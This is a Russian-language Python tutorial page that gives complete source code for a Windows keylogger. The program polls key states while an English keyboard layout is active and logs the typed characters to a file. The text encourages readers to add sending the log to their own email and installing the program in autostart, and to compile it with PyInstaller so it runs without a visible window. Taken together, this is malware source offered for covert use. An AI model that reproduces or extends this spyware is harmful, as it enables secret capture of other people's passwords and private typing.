Простой кейлоггер на Python

Простой кейлоггер на Python

Кейлоггеры - это программы которые перехватывают нажатия клавиш в любом окне, и записывают их в лог. Пример простого кейлоггера на Python для Windows который мониторит нажатие АНГЛИЙСКИХ букв (русские игнорирует), и записывает их в файл log.txt. Игнорируются повторы букв. Можете добавить отправку лога к себе на почту, установку кейлоггера в автозагрузку и прочие плюшки на свое усмотрение. Скомпилируйте с помощью PyInstaller и избавьтесь от черного окна при запуске скрипта.

import win32api, win32con, time, os.path, inspect, sys
from ctypes import *
user32 = windll.user32
kernel32 = windll.kernel32


def get_script_dir(follow_symlinks=True):
    if getattr(sys, 'frozen', False): # py2exe, PyInstaller, cx_Freeze
        path = os.path.abspath(sys.executable)
    else:
        path = inspect.getabsfile(get_script_dir)
    if follow_symlinks:
        path = os.path.realpath(path)
    return os.path.dirname(path)

cat=get_script_dir()+'\\log.txt'
if (not os.path.exists(cat)):
    f = open('log.txt', 'w')
    f.write('Log // ')
    f.close()

class RECT(Structure):
    _fields_ = [
        ("left", c_ulong),
        ("top", c_ulong),
        ("right", c_ulong),
        ("bottom", c_ulong)
    ]


class GUITHREADINFO(Structure):
    _fields_ = [
        ("cbSize", c_ulong),
        ("flags", c_ulong),
        ("hwndActive", c_ulong),
        ("hwndFocus", c_ulong),
        ("hwndCapture", c_ulong),
        ("hwndMenuOwner", c_ulong),
        ("hwndMoveSize", c_ulong),
        ("hwndCaret", c_ulong),
        ("rcCaret", RECT)
    ]


f = open('log.txt', 'a')

check = True
previos=-1
previoschar=''
while check:
    gti = GUITHREADINFO(cbSize=sizeof(GUITHREADINFO))
    user32.GetGUIThreadInfo(0, byref(gti))
    dwThread = user32.GetWindowThreadProcessId(gti.hwndActive, 0)
    lang = user32.GetKeyboardLayout(dwThread)
    if(lang==67699721):
        for x in range(1,255):
            if win32api.GetAsyncKeyState(ord(chr(x))):
                if(x!=previos):
                    s=(chr(x)).lower()
                    if((previos==160) or (previos==16)):
                        s=chr(x)
                    previos=x
                    if (s in 'qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@$!-=_;":,.*+-()^&#%№ '):
                        if(s!=previoschar):
                            f.write(s)
                            f.close()
                            f = open('log.txt', 'a')
                            previoschar=s
            

Простой кейлоггер на Python Лого Pythono.ru Простой кейлоггер на Python

Если у вас есть Android телефон, вы можете скачать наш учебник по Python